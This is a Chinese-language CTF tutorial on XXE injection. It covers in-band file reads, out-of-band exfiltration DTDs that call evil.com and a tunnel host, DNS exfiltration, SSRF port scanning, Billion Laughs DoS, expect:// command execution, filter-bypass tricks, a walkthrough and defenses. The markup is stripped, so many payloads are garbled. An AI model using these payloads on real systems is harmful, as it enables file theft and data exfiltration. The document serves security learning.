公司动态

XXE 漏洞 CTF

📅 2026/8/4 3:03:30
XXE 漏洞 CTF
一、漏洞原理XXEXML External Entity InjectionXML 外部实体注入是指攻击者在可控的 XML 数据中通过构造恶意的外部实体声明让服务器解析 XML 时加载外部资源或文件从而导致信息泄露、请求伪造、命令执行等危害。核心成因应用的 XML 解析器启用了外部实体加载功能并且解析的 XML 内容部分可控攻击者可以注入自定义的 DOCTYPE 和实体定义。XML 基础回顾一个典型的 XML 文件结构?xml version1.0 encodingUTF-8?!DOCTYPEfoo[!ENTITYxxeHelloWorld]rootnamexxe;/name/root!DOCTYPE定义文档类型可以包含内部实体或外部实体。!ENTITY定义一个实体实体的引用xxe;会被替换成其内容。外部实体使用SYSTEM关键字引用外部资源例如!ENTITY xxe SYSTEM file:///etc/passwd当xxe;被解析时会加载指定文件内容。XXE 触发的关键条件XML 解析器开启了外部实体解析默认在许多旧版解析器中是开启的。攻击者能够控制 XML 内容的一部分如接口接受 XML 输入或可上传 XML 文件。二、XXE 的危害任意文件读取通过file://协议读取服务器本地文件如/etc/passwd、/flagSSRF通过http://协议让服务器发起对内网或其他服务器的请求端口探测通过发起内网请求并根据响应判断端口开放情况拒绝服务DoS构造递归实体造成解析器资源耗尽“Billion Laughs” 攻击远程代码执行少见在极少数配置下可通过expect://协议执行系统命令PHP 的 expect 模块数据外带在盲 XXE 中将文件内容通过 HTTP/FTP 请求发送到攻击者服务器三、XXE 的分类根据回显方式可分为三类3.1 有回显 XXEIn-band XXE应用会将 XML 的解析结果或实体引用的内容直接返回到响应中攻击者可以直接在返回内容里看到文件内容。示例 Payload?xml version1.0 encodingUTF-8?!DOCTYPEroot[!ENTITY xxe SYSTEM file:///tmp/flag.txt]rootusernamexxe;/username/root!DOCTYPEuser[!ENTITY xxe SYSTEM file:///tmp/flag.txt]userusernamexxe;/username/user- !ENTITYxxe自定义实体名称 xxe调用时用xxe;引用 - SYSTEM标记这是**外部实体**会读取外部资源 - file:///tmp/flag.txt本地文件协议告诉解析器读取服务器 /tmp/flag.txt 文件内容 -XML 解析器在渲染文档时会自动把xxe;替换成 /tmp/flag.txt 的完整文本内容最终响应返回文件内容给攻击者。如果返回的name标签内容变成了/etc/passwd的文件内容即为有回显 XXE。3.2 带外数据 XXEOOB XXEOut-of-Band没有直接回显但可以强制解析器向攻击者服务器发送请求通过 HTTP 或 DNS 将文件内容带出。示例 Payload通过 HTTP 外带!DOCTYPEfoo[!ENTITY % file SYSTEM file:///flag !ENTITY % call !ENTITY exfil SYSTEM http://evil.com/?data%file; %call;]?xml version1.0?!DOCTYPEdata[!ENTITY xxe SYSTEM File:///tmp/flag.txt]datausernamexxe/usernameemailguestexample.com/email/data注意这种写法由于实体引用限制通常需要将参数实体和常规实体分开使用实际利用时需要使用 DTD 文件组合。3.3 盲 XXEBlind XXE完全没有直接回显也不能直接建立出站连接或只能依赖错误信息。需要利用错误信息泄露或时间盲注等方式推断数据。例如当文件不存在时产生错误或通过不同响应状态码判断/flag是否存在。dtd文件中用 !ENTITY % file SYSTEM php://filter/convert.base64-encode/resource/tmp/flag.txt !ENTITY % exfiltrate !ENTITY#x25;send SYSTEM https://3510c197.r18.cpolar.top/?flag%file; %exfiltrate; %send; 这个base64编码就可以 用file直接读取文件 !ENTITY % file SYSTEM file:///tmp/flag.txt !ENTITY % exfiltrate !ENTITY#x25;send SYSTEM https://3510c197.r18.cpolar.top/?flag%file;%exfiltrate;%send; 报错Notice : DOMDocument::loadXML(): PEReference: %send; not found in Entity, line: 1 in 这是为什么呢 内侧ENTITY声明不要加符号空格就行 注意 !ENTITY % exe !ENTITY % entity SYSTEM http://.../?flag%file; !ENTITY % exe !ENTITY#37;entity SYSTEM http://.../?flag%file; 这俩写法都是错的不要在内部的ENTITY再写 % 或者#37;正确做法是不写四、XXE 的利用手法4.1 读取本地文件最常用适用于有回显场景。基础 payload?xml version1.0?!DOCTYPEa[!ENTITY xxe SYSTEM file:///flag]rootxxe;/root常用文件路径Linux:/etc/passwd、/flag、/proc/self/environWindows:C:\Windows\win.ini、C:\flag.txt绕过绝对路径未知可以读取/etc/hostname、/proc/self/cwd/flag当前工作目录下的 flag等。4.2 利用 PHP 伪协议读取文件如果目标服务器是 PHP且 XML 解析器支持 PHP 封装协议如php://filter可读取源码或文件并返回 Base64 编码的内容。!DOCTYPEfoo[!ENTITY xxe SYSTEM php://filter/convert.base64-encode/resource/flag]rootxxe;/root返回 base64 编码后的 flag解码即可。4.3 内网请求与端口扫描SSRF利用http://协议发起请求!DOCTYPEfoo[!ENTITY xxe SYSTEM http://192.168.1.1:8080/flag]rootxxe;/root扫描端口尝试不同端口根据响应时间或错误信息如“Connection refused”判断端口是否开放。常配合 Burp Intruder。4.4 盲 XXE 外带数据OOB当没有直接回显时通过将文件内容嵌入到对攻击者服务器的请求中来窃取数据。经典 OOB 结构利用参数实体和外部 DTD在攻击者 VPS 上放置一个 DTD 文件如evil.dtd!ENTITY % file SYSTEM file:///flag !ENTITY % start !ENTITY#x25;send SYSTEM http://evil.com/?f%file; %start;%是%的实体编码用于绕过嵌套实体限制在目标处提交 XML payload引入外部 DTD 并调用?xml version1.0?!DOCTYPEfoo[!ENTITY % dtd SYSTEM http://evil.com/evil.dtd %dtd;]roottest/root解析时会加载外部 DTD其中定义了file实体读取本地文件然后通过 HTTP 请求将内容发送到攻击者服务器。在 VPS 的访问日志中即可看到/flag的内容。注意这种方式要求目标服务器能够出站访问攻击者的服务器有网络策略可能阻断。4.5 利用 DNS 外带无需 HTTP 出站若 HTTP 被禁但 DNS 请求能出站可以通过 DNS 查询携带数据。在 DTD 中使用!ENTITY % file SYSTEM file:///flag !ENTITY % send SYSTEM http://%file;.evil.com/将文件内容作为子域名发出 DNS 查询攻击者在 DNS 服务器端查看日志即可得到内容需注意域名长度限制和字符限制可能需要过滤/截断。4.6 拒绝服务攻击Billion Laughs递归实体导致指数级膨胀耗尽内存。?xml version1.0?!DOCTYPElolz[!ENTITYlollol!ENTITYlol2lol;lol;lol;lol;lol;lol;lol;lol;lol;lol;!ENTITYlol3lol2;lol2;lol2;lol2;lol2;lol2;lol2;lol2;lol2;lol2;...]lolzlol9;/lolz触发服务器资源耗尽导致拒绝服务。4.7 执行系统命令较少PHP 环境下若安装了expect扩展并且 XML 解析器加载了该模块可以使用expect://协议执行命令!DOCTYPEfoo[!ENTITY xxe SYSTEM expect://id]rootxxe;/root但实际环境中极为罕见一般不作为主要攻击面。五、绕过 XXE 防御技巧部分应用会对用户的输入进行过滤如移除ENTITY、SYSTEM等关键词需要绕过。5.1 大小写变体!DOCTYPEfoo[!ENTITY xxe SYSTEM file:///flag]改成!doctypefoo[!entity xxe system file:///flag]5.2 编码绕过使用 UTF-16 编码绕过 WAF需确保 Content-Type 对应使用实体编码代替等但 DOCTYPE 声明本身必须为原始字符内部可用在外部 DTD 里进行嵌套避免直接出现敏感关键词5.3 空格与注释混淆在关键词中间插入空格、换行或注释!DOCTYPEfoo[!ELEMENTfooANY!ENTITY xxe SYSTEM file:///flag]或!ENTITY % xxe SYSTEM file:///flag %xxe;5.4 使用参数实体分段调用将 SYSTEM 和路径分开定义避免直接被过滤!DOCTYPEfoo[!ENTITY%call“SYSTEM”!ENTITY % path “file:///flag”!ENTITY%xxe“%call;‘%path;’” %xxe;]实践中需要根据解析器特性调整5.5 JSON 到 XML 的攻击面XML 内部转换如果应用接受 JSON 输入但内部转换为 XML 处理例如使用了 XML 数据库或 SOAP可尝试注入包含 XML 实体的 JSON 内容或通过 JSON 值修改内部 XML 结构。六、CTF 实战示例XXE 读 Flag题目描述一个在线购物网站支持通过 XML 格式上传订单数据。提交 XML 后返回订单确认信息。目标读取服务器上的/flag文件。步骤确定 XML 解析拦截正常请求发现Content-Type: application/xml请求体为?xml version1.0?orderitembook/itemquantity1/quantity/order响应中会回显messageOrder placed for book x 1/message说明我们的输入被解析并回显。测试实体注入有回显发送?xml version1.0?!DOCTYPEfoo[!ENTITYtesthello]orderitemtest;/itemquantity1/quantity/order响应变为Order placed for hello x 1成功执行实体确认存在有回显 XXE。尝试读取文件?xml version1.0?!DOCTYPEfoo[!ENTITY xxe SYSTEM file:///flag]orderitemxxe;/itemquantity1/quantity/order若直接返回 flag 内容则完成。如果失败比如被过滤尝试下一步。使用 PHP 伪协议假设后端为 PHP!DOCTYPEfoo[!ENTITY xxe SYSTEM php://filter/convert.base64-encode/resource/flag]orderitemxxe;/item/order返回 base64 字符串解码得到 flag。若直接回显被禁用盲 XXE尝试带外数据。在自己的 VPS 上放置evil.dtd内容如上文 OOB 部分。然后发送?xml version1.0?!DOCTYPEfoo[!ENTITY % dtd SYSTEM http://your-vps/evil.dtd %dtd;]orderitem1/item/order在 VPS 日志中看到包含/flag内容的请求。绕过过滤如果提示“ENTITY is not allowed”之类的错误尝试大小写或利用参数实体。或者通过将整个注入放在外部 DTD 中减少直接敏感字符。拿到 Flag成功将文件内容显示或外带得到flag{xxe_is_fun}。七、常见防御措施禁用外部实体解析这是最根本的防御。在各种语言中配置PHPlibxml_disable_entity_loader(true);Java (SAX/DOM)设置setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)Python (lxml)使用resolve_entitiesFalse使用不易受 XXE 影响的 XML 库如 Python 的defusedxmlJava 的XMLInputFactory安全配置。白名单验证输入内容过滤!DOCTYPE、!ENTITY、SYSTEM等但绕过可能性高不推荐作为唯一防线。升级解析器较新版本的库默认禁用外部实体。WAF可以检测并阻止典型的 XXE payload但需配合后端安全配置。最小权限运行限制出站网络连接防止盲 XXE 外带数据。八、总结XXE 漏洞本质是XML 解析器对用户输入的盲信执行了攻击者定义的外部实体加载。CTF 中常考察有回显读文件、带外数据外带、内网探测等利用手法。绕过技巧集中在协议伪协议、编码混淆和实体嵌套构造上。防御的核心是禁用外部实体而非依赖过滤或 WAF。理解 DTD 和实体的工作机制是掌握 XXE 的关键。